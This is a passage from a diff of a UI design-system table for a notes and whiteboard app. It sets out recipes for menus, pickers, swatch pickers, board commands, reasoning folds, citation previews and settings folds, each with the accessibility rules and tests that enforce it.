`wireMenuKeyboard` (options count as rows, and the menu owns its Escape); a `details` menu or a menu written in markup gets it from app.js's one delegated handler (`menuRowsOf`), so a new one needs no wiring of its own. **One left column**: a section label, a select in a section and a row's icon start on the row recipe's `--space-5`, and a row's leading icon is a 1.25em box so the labels after it line up | `tests/test_ui_recipes.py` (hand-built menus may not multiply; a long menu is grouped), `tests/test_menu_keyboard.py`, `scratchpad/ui-sweeps/menus.js` |
+| A dock's one filled action that has a choice inside it (the Boards and maps dock's New: Whiteboard or Mind map) | A `details.doc-dock-menu.dock-menu.dock-menu-flip` in the actions zone whose `summary.small.dock-menu-primary` is the filled control (a plus, the word in a `.toolbar-word` span, a `.dock-menu-caret`; the summary's own `aria-label` is its name at a phone's width) and whose rows are `button.doc-dock-menu-item`s keeping the ids the standalone buttons had, so every caller that presses them still can. Each row is its icon, then a `.dock-menu-item-text` holding the word and under it one muted line saying what it makes (`.dock-menu-item-hint`, `--text-xs`, `--muted`): a tooltip is never seen on a touch screen. One menu instead of two create buttons: a dock holds one filled action, and a second kind of the same thing is a row, not a neighbour. Used by Boards and maps (WORLD_CLASS_PLAN 507) | `tests/test_dock_help_507.py`, `tests/test_dock_grammar.py` |
 | A toolbar with more tools than one row holds (the formatting strips) | It wraps (the default), or, in its one-row mode and on a phone, it stays one row and **folds what does not fit** behind a More disclosure in the strip's own end group: `fitDocToolbarRow` (documents.js) measures the row on every width change (`ResizeObserver`), folds tools from the end with `.doc-toolbar-over` until the group ends inside the strip, and More (`.doc-toolbar-more`, `aria-expanded`, titled with the count) wraps the strip to show them in place, the real controls with their own menus rather than copies. **Never a sideways scroller and never a pinned group over the tools**: the scroller hid everything past the edge behind a scrollbar, and the sticky group sat on Insert (INBOX 426 a). Measured by `scratchpad/ui-sweeps/doctoolbarfit.js`: every control inside the strip and none overlapping, at 360, 768, 1024, 1280 and 1600 | `tests/test_doc_toolbar_reach.py`, `scratchpad/ui-sweeps/doctoolbarfit.js` |
-| A list you manage (rows you select, several at once, and act on: the Manage categories panel) | a `role="listbox"` `aria-multiselectable="true"` of quiet rows (`role="option"`, `aria-selected`): a colour dot or icon, the name (ellipsised), a muted count pill, and a ghost `kebabMenu` shown on hover or focus and always under `(hover: none)`; a roving tab stop (arrows, Home, End), Space selects, Enter opens the row's content, F2 renames, Delete deletes, the context-menu key opens the ⋯; a click selects (Ctrl or Shift adds). Selected rows raise a sticky footer of what can be done to them together. Above the list, one tool row: a filter field and the one create action. The card sizes to its content up to its cap and the list is its only scroller. Head: the reference dialog head | `tests/test_ui_recipes.py` (the option-row ratchet names it), `tests/test_manual_parity.py`, `catpanel.js` (session scratchpad) |
-| A list of choices picked by typing or browsing (the "/" block menu, the command palette, a suggest list) | **The rich picker**, rich-picker.js, taken out of the "/" menu (the owner: "I reallllllyyyy like the design of this popup panel menu for the / commands. can we do more similar design styles elsewhere in the app??"). A `.rich-picker-list` (`role="listbox"`, the one scroller, a thin scrollbar, overscroll contained) of rows built by `richPickerRow({icon, label, about, keys, query})`: a 2rem square outlined icon tile (`tint` wears a callout kind's ink, `face` puts a face in it), a title over one muted line of what it does, the typed letters marked, and a right-aligned keycap holding the way to do it without the picker (the markdown the row writes, or the chord that runs it, read from the live `shortcuts` table). Groups are `richPickerGroup(name)`, pinned while their rows scroll. One row is `.active` (a soft accent fill, rounded): the keyboard and the pointer both move it, and there is no separate `:hover` fill, so two rows are never lit. A `.rich-picker-preview` pane beside the list, filled by `richPickerPreview`, **only where a preview says something** (the block it writes, what a command does and its key, a note's first lines) and only from 44rem up. The picker keeps its own position, width and keyboard code; the row, the group, the keycap and the pane are the recipe's. A dialog whose choices are walked by Tab takes the same row as a button (`richPickerRow({tag: "button", role: null})`, the Library's Create picker), filled on hover and focus instead. Drawn by the "/" and "[[" menu, the command palette (keycaps from `chord`, a registry name, or the tab's M-letter jump; the line from the row's `about` or the same `reveal`'s line in `featureCatalog`) and the Library's Create picker. A list that opens from a typed token ("/", "[[") is the editor menu in every surface, placed at the caret by `editorPlaceMenu`, never a list in the flow under the box. Find anything's rows are search results (a rendered two-line snippet, a date) and keep their own shape. Not for a menu behind a button or at the pointer: that stays `kebabMenu` | `tests/test_ui_recipes.py` (only rich-picker.js stamps the anatomy's classes; every listed picker draws through `richPickerRow`; hand-built `role="option"` rows may only fall), `scratchpad/ui-sweeps/slashmenu.js`, `richpicker.js` (every converted picker at 1440 and 390, light and dark) |
+| A list you manage (rows you select, several at once, and act on: the Manage categories panel, and the tag manager, `openTagsSheet` in tag-manager.js, which reuses its classes) | a `role="grid"` `aria-multiselectable="true"` of quiet rows (`role="row"`, `aria-selected`), **never a listbox**: an option may hold nothing interactive and each row carries its ⋯ (axe-core's nested-interactive, INBOX 433). The first cell (`role="gridcell"`, the roving stop, named "Work, 3 notes") holds a colour dot or icon, the name (ellipsised) and its note count as quiet muted text after it ("Hobbies · 10", never a pill: INBOX 466); the last cell is a ghost `kebabMenu` shown on hover or focus and always under `(hover: none)`, reached with Right and left with Left; a roving tab stop (arrows, Home, End), Space selects, Enter opens the row's content, F2 renames, Delete deletes, the context-menu key opens the ⋯; a click selects (Ctrl or Shift adds). Selected rows raise a sticky footer of what can be done to them together. Above the list, one tool row: a filter field, the Sort by select (Name, Most notes, Recently used; remembered), one `.library-chip` toggle for the hardly used (Used once, Empty) and the one create action, all at one height; under it, look-alike names (`manageLookAlikes`: case, spaces, hyphens and a plural set aside) as one Merge each, three at most, with Not now. The count after a name is a quiet button that opens its notes (`manageCountButton`), out of the tab order. These helpers live in tag-manager.js and the categories panel loads it first (INBOX 504). The card sizes to its content up to its cap and the list is its only scroller. Head: the reference dialog head | `tests/test_nested_interactive.py`, `tests/test_manual_parity.py`, `scratchpad/ui-sweeps/catgrid.js`, `catpanel.js` (session scratchpad) |
+| A choice among colours (the Manage categories Colour item) | **The swatch picker**, `swatchPicker` in categories-panel.js, opened by `pickCategoryColour` in a sheet under a one-line preview (a dot and the name). A `role="radiogroup"` of round swatches, six to a row, and one worded Automatic below that clears the choice. Each swatch is a `role="radio"` button with `aria-checked`, an `aria-label` and a `title` that name the colour, painted by `--swatch` through the CSSOM (never `style=`). The checked one is a Tab stop; arrows, Home and End move the focus and the check together, Enter, Space or a click commits and closes, Escape leaves the choice as it was. The checked swatch is a ring in `--ink` outside a gap in the card's ground, so the choice is a shape and not only a colour, and the focus ring sits outside it. **The hues are `CATEGORY_PALETTE` (notes-list.js), twelve that each clear 3:1 as a dot on the lightest and darkest ground of both themes**, so one hex serves light and dark; the server keeps the same keys (`CATEGORY_PALETTE_KEYS`) and refuses anything but a key or `#rrggbb`. A chosen colour is read through `categoryColour(name, automatic)` and nothing else: dots and chips are painted by `paintCategoryDot` (so a later choice repaints them where they stand), the graph's scale by `graphCategoryScale`, the dashboard by `categoryColour`; a change fires `categorycolours` and the map and dashboard redraw. A new row of colours is this recipe with its own palette, never a second row of buttons: `swatchPicker` takes `palette` (key to colour) and `none` (the worded choice's name), and Quick access's tile Highlight (`quickAccessPickTint`, quick-access.js; INBOX 589) passes the accent ahead of the twelve and "No highlight", seven to a row (five below 600) | `tests/test_ui_recipes.py` (only `swatchPicker` draws a swatch; every swatch is named; focus and checked are visible), `tests/test_category_colour.py` (contrast, every surface asks the one function), `scratchpad/ui-sweeps/catcolour.js` |
+| A list of choices picked by typing or browsing (the "/" block menu, the command palette, a suggest list) | **The rich picker**, rich-picker.js, taken out of the "/" menu (the owner: "I reallllllyyyy like the design of this popup panel menu for the / commands. can we do more similar design styles elsewhere in the app??"). A `.rich-picker-list` (`role="listbox"`, the one scroller, a thin scrollbar, overscroll contained) of rows built by `richPickerRow({icon, label, about, keys, query})`: a 2rem square outlined icon tile (`tint` wears a callout kind's ink, `face` puts a face in it), a title over one muted line of what it does, the typed letters marked, and a right-aligned keycap holding the way to do it without the picker (the markdown the row writes, or the chord that runs it, read from the live `shortcuts` table). Groups are `richPickerGroup(name)`, pinned while their rows scroll. One row is `.active` (a soft accent fill, rounded): the keyboard and the pointer both move it, and there is no separate `:hover` fill, so two rows are never lit. A `.rich-picker-preview` pane beside the list, filled by `richPickerPreview`, **only where a preview says something** (the block it writes, what a command does and its key, a note's first lines) and only from 44rem up. The picker keeps its own position, width and keyboard code; the row, the group, the keycap and the pane are the recipe's. A dialog whose choices are walked by Tab takes the same row as a button (`richPickerRow({tag: "button", role: null})`, the Library's Create picker), filled on hover and focus instead. Drawn by the "/" and "[[" menu, the command palette (keycaps from `chord`, a registry name, or the tab's M-letter jump; the line from the row's `about` or the same `reveal`'s line in `featureCatalog`) the Library's Create picker and the `m` guide (`chordGuideGroup`: Go to and Do as button rows, each keycap drawn as a key in one column, the current tab marked, a hint line at the foot, on the popover shell). A list that opens from a typed token ("/", "[[") is the editor menu in every surface, placed at the caret by `editorPlaceMenu`, never a list in the flow under the box. Find anything's rows are search results (a rendered two-line snippet, a date) and keep their own shape. Not for a menu behind a button or at the pointer: that stays `kebabMenu` | `tests/test_ui_recipes.py` (only rich-picker.js stamps the anatomy's classes; every listed picker draws through `richPickerRow`; hand-built `role="option"` rows may only fall), `scratchpad/ui-sweeps/slashmenu.js`, `richpicker.js` (every converted picker at 1440 and 390, light and dark) |
+| A dialog that picks one thing, or several, from the notebook (a note, a document, a file, a bookmark, a picture; INBOX 548) | **The picker dialog**, `pickerDialog` in selection.js, never the confirm alert's card with a bare input: the `.dialog-head` (the title, the icon X last), a `.seg` of sources when there are several, **spanning the dialog as equal segments of one height** (the in-dialog `.confirm-seg` recipe; a well hugging its pills at the left was INBOX 572), each carrying its `.seg-count` (what matches the words typed; on a phone under its name), one Tab stop, the arrows and Home and End walk it, and the source chosen last is remembered; one line of description when it needs one, the `.search-field` well, then the list at one height for every source and every state, on a thin scrollbar with no arrows. **A row never shrinks** (`flex: none`): every row is `--pick-row-h` (56px), 8px apart, the tile centred in it, the fill and the accent edge of the lit row on the whole row; a title is clipped by the row's ellipsis, never by a character count; a row's tile says its type (a file by `attachmentIconClass`, a bookmark by `bookmarkKind`). Nothing there or nothing matching is the empty state recipe (`pickerListState`: icon, title, one sentence). **One thing**: `pickerListbox`, the field a combobox over a `role="listbox"` of `richPickerRow`s (a 2rem tile, the name over one muted line of facts: a note's category and when, a document's words, a file's size or where it is used, a bookmark's site), Down and Up light a row, Enter or a click takes it, no foot. **Several**: the Attach picker's `notePickerRow`s and the dialog foot (the count, Cancel, the one filled button, off until a tick). Pictures keep their grid. Used by `pickEntryDialog`, `pickLibraryItemDialog`, `pickNotesDialog`, `pickMediaDialog` | `tests/test_ui_recipes.py` (`test_every_notebook_picker_is_the_picker_dialog`, `test_a_picker_row_never_shrinks_and_its_sources_span_the_dialog`), `scratchpad/ui-sweeps/pickers.js` (four dialogs with a full list at 1440 and 390, light and dark: no tile over another row, tiles centred within 1px, one row height, equal filled segments, no text spilling, one dialog height while filtering) |
 | A menu at the pointer (right-click, long-press) | `openMenuAtPoint(items, ariaLabel, x, y)` in markdown.js: the same `kebabMenu`, given a one-pixel transparent anchor in a `.pointer-menu-host` parked where the pointer was | `tests/test_ui_recipes.py` (a pointer-anchored menu is the recipe, not a second menu shape) |
+| A board action (anything a board's menus, right-click, palette or a key does) | **One row in `WB_COMMANDS`** (whiteboard-commands.js): id, words, icon, key, group, surface, what it needs. A top-bar menu row names it with `data-wb-cmd` and says its words (`menu` where the group head says the rest) and key; the right-click menu takes the row from `wbCommandMenuRow(id)`; the palette's "This board" group is `wbPaletteCommands` and the shortcut sheet's section `renderWbShortcutSheet`. A row that does not apply now is `aria-disabled` and its press toasts why (`wbRunCommand`), never a dead button | `tests/test_wb_commands.py`, `scratchpad/ui-sweeps/wb1005-zorder.js` |
+| A sheet of a surface's keys and gestures (the board's "?", INBOX 566) | The dialog recipe (`.modal-overlay` > `.card.modal-card` with the dialog head, its '?' and X), one muted line, a `.search-field` that filters as you type, and sections of rows: `li.wb-help-row`, a grid of the icon, the words (`minmax(0, 1fr)`, `overflow-wrap: anywhere`, the only track that gives) and a key column of fixed width (`--wb-help-keys-w`) whose `kbd` caps wrap inside it, so a label can never run under its keys; two columns of sections while the card is wide, one below 48rem, the list scrolling inside the card. Rows that name a command read it from the surface's command table | `tests/test_wb_help_sheet.py`, `scratchpad/ui-sweeps/wb1005-help.js` |
+| A side panel with tabs on a canvas (the board's sidebar: Library, Notes, Layers, Pages, Outline) | `#wb-sidebar`, a `.card.glass` floating at the canvas's left edge between its top bar and its tool rail: a vertical `role="tablist"` rail of icon-only tabs (`title` and `aria-label`, one tab stop, Up and Down walk it, `aria-selected` on `--accent-soft`), and beside it one `role="tabpanel"` with a head (the tab's name, its actions, the dialog-head X) over sections shown by `data-side-panel`; a tab pressed twice closes the panel to the rail; below 600 the rail hides while closed and the open panel spans the board with its tabs a row (`wbOpenSidebar`, whiteboard-library.js) | `tests/test_ui_recipes.py` (closes, glass), `scratchpad/ui-sweeps/wb1005-library.js` |
+| A canvas's properties panel (the board's Format panel; WHITEBOARD_PLAN decision 19) | `#wb-format`, the sidebar's mirror: a `.card.glass` on the canvas's right edge between its top bar and tool rail, hidden until asked for (Ctrl+Shift+P, claimed from the app by `wbOwnsChord`; the bar's More menu; View; the palette). A dialog head (the name, the X last), a `.tabs-line` of three words (Style, Text, Arrange; one tab stop, Left, Right, Home and End walk it), one `role="tabpanel"` of `.wb-fmt-row`s: a two-track grid, the label's track fixed so every control starts on one line, each row tagged `data-fmt` and shown only for the kinds that take it (`WB_FMT_FIELDS`); on/off is the bar's `.wb-snap-label` switch; command buttons come from `WB_COMMANDS`, never hand-written, under their group's name. Every change goes through `wbFmtApply` inside `wbRecordGesture`, one undo step. Below 600 it spans the board | `tests/test_wb_format.py`, `scratchpad/ui-sweeps/wb1005-format.js` |
+| A grid of things you place (the board library's tiles) | `.wb-lib-grid` of `div.wb-lib-tile[role="option"]` inside one `role="listbox"`: a thumbnail drawn from what the tile places with DOM calls (`wbLibThumb`: nothing stored, nothing to sanitise), the name in two lines at most, a star when it is a favourite; the active tile is the list's one tab stop and the arrows walk the grid; a click or Enter places, Shift+Enter places joined, F stars, a drag drops it on the canvas, and the rest is the tile's menu by right-click or Shift+F10 through `openMenuAtPoint`, never a ⋯ inside the option | `tests/test_ui_recipes.py` (`HAND_BUILT_OPTION_ROWS`), `tests/test_board_library.py`, `scratchpad/ui-sweeps/wb1005-library.js` |
+| An icon or an emoji, picked or dragged (a map topic's icon, a sticker on a board or a map, an insert in the note or document editor; MINDMAP_PLAN decisions 43 to 46) | **The one picker**, `pickIconOrEmoji({anchor, onPick, modes, keepOpen, title})` (editor.js), which fetches icon-picker.js and icon-picker.css on first use and calls its `openIconPicker(`: a `.help-popover.icon-picker` lifted to <body> and placed by `placeHelpPopover` (centred when the anchor is off screen), the dialog head, a `.search-field`, a `.seg` of Emoji and Icons, and one `role="listbox"` of `role="option"` tiles under pinned group heads, Recent first (twenty, this device). Arrows move by tile and by row, Enter or Space picks, Escape closes and focus goes back to the opener (or its menu's button); no key leaves the panel. Icons are the vendored Phosphor names off its own stylesheet, emoji the curated `ICON_EMOJI_SOURCE`; nothing fetched. Every tile drags as text (`:ph-name:` or the emoji) and as `application/x-memorymap-icon`. Never a second emoji grid or icon list | `tests/test_icon_picker.py`, `tests/test_ui_recipes.py` (`HAND_BUILT_OPTION_ROWS`) |
+| A tree of what is on a canvas, in paint order (the Layers tab) | `#wb-layers-tree[role="tree"]`: a quiet `.wb-layer-head` per layer, then `li[role="treeitem"][aria-level]` rows on the row recipe (glyph, name, the eye and the lock as pointer conveniences shown on hover, on focus and when they are on; `aria-hidden` and out of the tab order, their keys H and L instead), `aria-selected` from the board's selection; Enter selects and brings it on screen, Alt+Up and Alt+Down or a drag restack within its layer, F2 renames, Delete deletes (`wbRenderLayers`) | `scratchpad/ui-sweeps/wb1005-library.js`, `scratchpad/ui-sweeps/wb1005-layers.js` |
 | The keys and clicks a list is expected to keep (a row or card that has its own ⋯) | Nothing per list: app.js's delegated section "the conventions a list is expected to keep". A right-click, or a hold on a phone, on a row in `ROW_MENU_HOSTS` opens that row's own ⋯ items at the pointer (`kebabMenu` keeps them on `wrap.rowMenu`), except on a field, a link or a text selection; F2 runs the row's own Rename; the arrow keys, Home and End move between the items of an `ARROW_NAV_LISTS` list by where they are drawn; Shift+click on a tick sets the run since the last tick; and while a select bar is showing (or the Notes select mode is on) Escape, Ctrl+A and Delete press that bar's own Done, Select all and Delete, never from inside a field. A new list with a ⋯ joins by its selector in those tables, not by a listener of its own | `tests/test_library_pass2.py`, `scratchpad/ui-sweeps/listconventions.js` |
 | A menu bar over a canvas (the board's Insert, Edit, Arrange, View, Board) | One `.wb-board-menu-wrap` per menu: a `[data-wb-menu-toggle]` ghost button carrying `aria-haspopup`, `aria-expanded` and `aria-controls`, and a `.wb-board-menu` written in markup rather than built by `kebabMenu`, because its rows are not all commands (the View menu holds a colour well, a grid select and four switches, which a command list cannot carry). What markup must not decide is the ARIA: `wbStampMenuRoles` (whiteboard.js) stamps every row at boot, `.wb-menu-item` as `menuitem`, `.wb-menu-section` as `group`, a row wrapping a native control as `none`, and `wireMenuKeyboard` then gives the menu the arrows, Home, End and an Escape that hands the focus back to its toggle. Measured before that existed: five menus, `role="menu"` on each and nought `role="menuitem"` inside, ArrowDown moving no focus. UI_MODERNISATION_PLAN Phase 8 makes this bar the seven-control ceiling's one exception, and the exception is the toggles only: everything else in the bar still answers to seven, which is six today | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/wbtopbar.js` |
 | A right-click on a phone | `wireLongPress(target, handler, {selector})` in navigation.js: touch only, 500ms, cancelled by a move, and it swallows the `mousedown`, `mouseup` and `click` that the lift synthesises, so a hold does one thing rather than two (measured on the graph: holding a node opened its menu and lifting the finger opened that node's panel in front of it, taking the focus with it). What it opens is `openMenuAtPoint`, which asks for the focus again on the next frame, because Chromium takes it straight back out while the gesture is still in flight. Every `contextmenu` listener in app.js, documents.js and graph-canvas.js is counted against a `wireLongPress` call in the same file | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/graphphone.js` |

A swipe is never the only way to an action and never a second copy of one; `touch-action: pan-y` leaves the vertical drag to the page | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/phoneswipe.js` |
 | A sidebar on a phone | Below 600 the sidebar is the edge sheet it already is below 820, parked fully off screen, and it opens from a `.dock-nav` button at the leading edge of its own dock's head (`mountPhoneSidebarOpeners` in phone-shell.js, one row per `SIDEBAR_IDS` entry), never from a rail: the page beside it takes the full width. Above 600 the tablet keeps the 52px rail and the sheet's own toggle | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/phonesidebar.js` |

+| The address of an object (a note, document, board, map, chat), to open it in the app | **Copy app link**: `appLinkMenuItem(kind, id)` (router.js) in the object's own ⋯, in the copy group beside Copy title; a markup menu (the document editor's, the board's Board menu) has one button calling `copyObjectAddress(kind, id)`. The address is `routeHashFor` (the router's one table) behind origin and path. A `[[wiki link]]` row is named **Copy wiki link**, so the two are never "Copy link". A pasted address of this origin and a known route renders as a same-window link (`appAddressHash`, router.js; drawn by notes-list.js) | `tests/test_router.py` |
+| A card or row that opens something and carries controls of its own (a tick, a ⋯) | **the accessible card**: the card is a plain box (an `<article>`, never `role="button"` and never a Tab stop), and its title is the one control that opens it, made by `cardOpener(title, open, name)` (menus.js): a button by role, a Tab stop, Enter and Space. `.card-open::after` stretches the title's press over the card (08-consistency.css), so a click anywhere still opens it; the host is `position: relative` and `isolation: isolate`, and its own controls are lifted above the overlay at `z-index: 2`. The host keeps its click listener and each control stops its own press. A control inside a control is what axe-core's `nested-interactive` (WCAG 4.1.2) counted 35 times on the Library's cards (INBOX 433). Used by the Library's cards, the board cards and the Documents rows; the arrow keys move between `.card-open`s (`ARROW_NAV_LISTS`) | `tests/test_nested_interactive.py`, `scratchpad/ui-sweeps/cardopen.js`, `axe.js` |
 | A dropdown of values | a plain `<select>`; `enhanceSelect` restyles every one at boot | `tests/test_frontend_handlers.py` |
-| A picker in a toolbar that is an action, not a setting (a colour to apply, whose resting text is only its own name) | the same `<select>` with `data-select-icon="ph-…"`: `enhanceSelect` puts the icon in the opener and `.select-opener-icon` clips the word (never `display: none`), so the face is an icon and a caret and the name is still the select's `aria-label`, its `title` the hover text. A worded button in a strip that has to hold one row carries its word in a `.toolbar-word` span, clipped the same way below the band where the row would wrap, and takes the icon-only square there | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/notetoolbar.js` |
+| A picker in a toolbar that is an action, not a setting (a colour to apply, whose resting text is only its own name) | the same `<select>` with `data-select-icon="ph-…"`: `enhanceSelect` puts the icon in the opener and `.select-opener-icon` clips the word (never `display: none`), so the face is an icon and a caret and the name is still the select's `aria-label`, its `title` the hover text. A worded button in a strip that has to hold one row carries its word in a `.toolbar-word` span, clipped the same way below the band where the row would wrap, and takes the icon-only square there. **A dock's sort when the dock must hold one row** (Library, AI skills, INBOX 599) is the same picker: it keeps the dock's inset and drops a worded select's 9rem floor, and a segment's words are `.toolbar-word`s that leave a dock under 58rem (the dock is the container, `.dock:has(.toolbar-word)`), leaving each cell its glyph and count | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/notetoolbar.js`, `scratchpad/ui-sweeps/settingsheads.js` |
 | Focus on a `<select>` | `focusSelect(select)` in sheets-selects.js. **Never `select.focus()`**: `enhanceSelect` takes the native control out of the tab order (`tabindex="-1"`, `aria-hidden`), so the direct call focuses an aria-hidden element or nothing at all, silently. Measured across seven tabs: all thirteen reachable selects would have taken the focus onto the hidden control. The same goes for a `keydown` bound to a select, which never fires. | `scratchpad/ui-sweeps/selectfocus.js` (it cannot be a lint: what decides is what the variable holds at runtime, not what the source says) |
 | Help longer than one line | one line in place, the rest behind a `data-help-for` '?' button and a `.help-body` popover | `tests/test_ui_signatures.py` |
-| A preview of a cited source (what a numbered mark in an answer stands for) | `openCitationPeek` in capture-ask.js: a `.help-popover.citation-peek` lifted to `<body>` and placed by `placeHelpPopover`, so the shell, caret, tier and flip are the help popover's and only the content is its own. One at a time; hover or focus shows it while the pointer or focus stays, a press keeps it (and on touch is the only way in); Escape (captured and spent, so a streaming answer is not also stopped), a press elsewhere, or the mark scrolling out of its transcript closes it. The whole preview (number, title, the grounded passage marked in its context, as characters) is one button that opens the note, with the note's facts and a worded Open beside it in the foot. A mark never navigates on its own press | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/citepeek.js` |
-| A group of settings folded away until it is wanted | `details.settings-fold`: the `<summary>` carries the group's own label and at most its one action (a button there calls `preventDefault`, so pressing it does not also toggle the fold). The flat resting summary, the chevron and the hover fill come from 08-consistency.css's disclosure rules, which name the families by class, so a fold added to one of those four rules and not the others has no chevron or no hover. Open is remembered where it is a property of how the surface is used rather than of one visit. **A whole group of a long pane folds the same way**: `details.settings-group.settings-fold` with a unique `data-fold-key`, the group's `h3` (and its one '?') in the `<summary>`, the first group `open` in the markup; `wireSettingsFolds` (settings.js) keeps each key's open state per browser, a '?' in a closed head opens its group, and a deep link through `openSettingsModal` opens the fold it lands in. Closed, a group is one 51px row. Used by Settings' advanced groups, by the long panes (Appearance, Keyboard shortcuts, Extras, Skills) and by the graph's options panel, whose three tuned-once sections (Physics, Groups, Minimap) are folds | `tests/test_ui_recipes.py` |
-| An on/off setting | `label.setting-check` with the switch first | `scratchpad/ui-sweeps/switches.js` |
+| The model's reasoning, anywhere it is shown (Chat, the popup agent, Ask, the Guide, the writing room) | **The one Thinking fold**, `thinkingFold()` in chat-agent.js (`thinkingFoldIn(host)` for a fixed host in the page): a `details.agent-step.thinking-fold` whose `summary.fold-summary` is the steps and sources folds' own disclosure (an icon and the word Thinking, `--text-sm`, muted, a hover ground) and whose `.thinking` body is the steps fold's rail in the body face, muted, capped at 12rem and scrolling. Open while the model reasons, folded when a tool runs or the answer starts. Never a second builder, a fold in the markup or a surface's own body style (INBOX 457) | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/bubbleparts.js` |
+| An assistant's answer bubble (Chat, the popup agent) | The head (avatar and name, `.msg-role`), then one `.agent-steps` column holding the thinking fold, the steps fold and the answer in that order with the column's gap between them and no margins of their own, then the Sources panel (`chatSourcesPanel`: cards in Chat and Ask, one-line rows through its `row` hook in the popup agent, keyed on kind and id so a note found and then opened is one row), then the one muted facts line (`messageMetaLine`, a long model id cut short with the whole id on its title), then the action row, which hangs under the bubble in room of its own and never over what follows (INBOX 458) | `scratchpad/ui-sweeps/bubbleparts.js` |
+| A pane that follows a stream (a transcript, a reasoning body) | `keepAtBottom(el)` in chat-agent.js on every write, never `scrollTop = scrollHeight`: it follows only while the reader is at the bottom, lets go the moment they wheel, drag or key upward, and follows again once they are back at the bottom (INBOX 458) | `scratchpad/ui-sweeps/bubbleparts.js` |
+| A preview of a cited source (what a numbered mark in an answer stands for) | `openCitationPeek` in capture-ask.js: a `.help-popover.citation-peek` lifted to `<body>` and placed by `placeHelpPopover`, so the shell, caret, tier and flip are the help popover's and only the content is its own. One at a time; hover or focus shows it while the pointer or focus stays, a press keeps it (and on touch is the only way in); Escape (captured and spent, so a streaming answer is not also stopped), a press elsewhere, or the mark scrolling out of its transcript closes it. The whole preview (number, title, the grounded passage marked in its context, as characters) is one button that opens the note, with the note's facts and a worded Open beside it in the foot. A mark never navigates on its own press. **A cited note's pictures** sit beside its numbered chip under Grounded in (`groundingThumbs` in capture-ask.js, INBOX 502): one `.answer-grounding-item` of the chip and up to three `button.answer-grounding-thumb` squares (2rem, `--target-min` under a coarse pointer), lazy, alt from the server's `picture_alts` (caption, else the reading) or the Markdown alt, each opening the note's pictures in the lightbox; a `+n` for the rest | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/citepeek.js` |
+| A date picked from a month (the Timeline strip's month label) | `renderTimelineMonthPop` in timeline.js: a static `.timeline-monthpop` panel wired once with `wireHelpPopover` to a `button[aria-haspopup="dialog"]`, so the shell, caret, tier and Escape are the help popover's. The grid is a `role="group"` of buttons with one Tab stop (roving `tabindex`): arrows a day or a week, Home and End the week's ends, Page Up and Page Down a month, Escape returns the focus to the button. A day past today is `disabled`, the days already on screen are tinted, a dot marks a day with a page; a day is 44px under a coarse pointer at 390 (the panel's width is its own, nothing else). A pick moves what is on screen and focuses it; it does not act. **The strip it serves is one header row** (INBOX 543): the month between its two arrows as one group (the month quiet, a fixed width so the later arrow never moves), then the seven days as one `.seg`-style well (`--chip-bg`, `--radius-choice`, flat segments) spanning the rest of the row; today's number filled `--accent-surface` with `--on-accent`, a `--accent` dot for a day with a page; one Tab stop, left and right a day, Home and End the ends, past an end the window walks a day; below the well's 34rem (a container query) each day stacks its weekday over its number | `tests/test_daily_strip.py`, `scratchpad/ui-sweeps/daystrip.js` |
+
+| Why a thing was chosen, as up to three measured reasons (an evidence card, a cited passage) | `evidenceSignals` / `evidenceBlock` in capture-ask.js: a `.evidence-signals` grid of name, a 4px `.evidence-signal-track` on `--border` with an `--accent` fill set by `el.style.width`, and the percent in tabular figures, each `--text-xs` `--muted`; the track is `role="img"` with the name and percent as its label. **A signal the app did not measure is left out, never drawn empty** (an empty bar reads as "no match"). A verdict line above it (`.evidence-verdict`, `--ink` when supported, `--muted` when partly). The evidence view (`renderEvidenceView`) is the same block on `.answer-evidence-card`s beside each sentence, one column below 600 | `tests/test_evidence_spec.py`, `scratchpad/ui-sweeps/evidence.js` |
+| A reading beside the text being written (the margin reader's cards, WORLD_CLASS_PLAN I2) | `.doc-margin` (margin-reader.js): a column inside `.doc-source-wrap`'s row, holding at most three `.doc-margin-card`s on `--surface-2` with no border, each a kind label (`chip item-label`, `is-warn` for Differs), one sentence, a muted reason and ghost small actions; the stack starts level with its paragraph through `--doc-margin-offset`, and below 60rem the column goes under the editor with no offset. Nothing is ever written into the text | `tests/test_margin_reader_spec.py` |
+| A link you drag to the browser's bookmarks bar (the web clipper's Clip to MemoryMap, row 24) | `a.web-clip-bookmarklet`: an object, not a button: a dashed `--border` edge, `--accent-text` ink, `cursor: grab`, on `--control-h`, its `javascript:` address written at runtime (web-clip.js) and a press inside the app answered with a sentence; beside it a ghost Copy. The window it opens (`clip.html`, `.clip-page`, `.clip-card`) is the app's own tokens and button ramp: one filled Save, a ghost Close | `tests/test_webclip_page.py` |
+| A group of settings folded away until it is wanted | `details.settings-fold`: the `<summary>` carries the group's own label and **no control**: a button in a summary is a control inside a control (axe-core's nested-interactive, WCAG 4.1.2; INBOX 433). A head's '?' is the first child of a `div.fold-help-wrap` around the fold, `button.graph-help-toggle.fold-help`, and the summary keeps `<span class="fold-help-slot" aria-hidden="true">` where it was; `placeFoldHelp` (settings.js) draws the button over its slot, so the head looks exactly as it did (`scratchpad/ui-sweeps/foldhelp.js`). The graph's "Unpin all" is the one action left in a summary, a ratchet in `tests/test_nested_interactive.py`. The flat resting summary, the chevron and the hover fill come from 08-consistency.css's disclosure rules, which name the families by class, so a fold added to one of those four rules and not the others has no chevron or no hover. Open is remembered where it is a property of how the surface is used rather than of one visit. **A whole group of a long pane folds the same way**: `details.settings-group.settings-fold` with a unique `data-fold-key`, the group's `h3` in the `<summary>` (and its one '?' beside it, as above), the first group `open` in the markup; `wireSettingsFolds` (settings.js) keeps each key's open state per browser, a '?' in a closed head opens its group, and a deep link through `openSettingsModal` opens the fold it lands in. Closed, a group is one 51px row. Used by Settings' advanced groups, by the long panes (Appearance, Keyboard shortcuts, Extras, Skills) and by the graph's options panel, whose three tuned-once sections (Physics, Groups, Minimap) are folds | `tests/test_ui_recipes.py` |
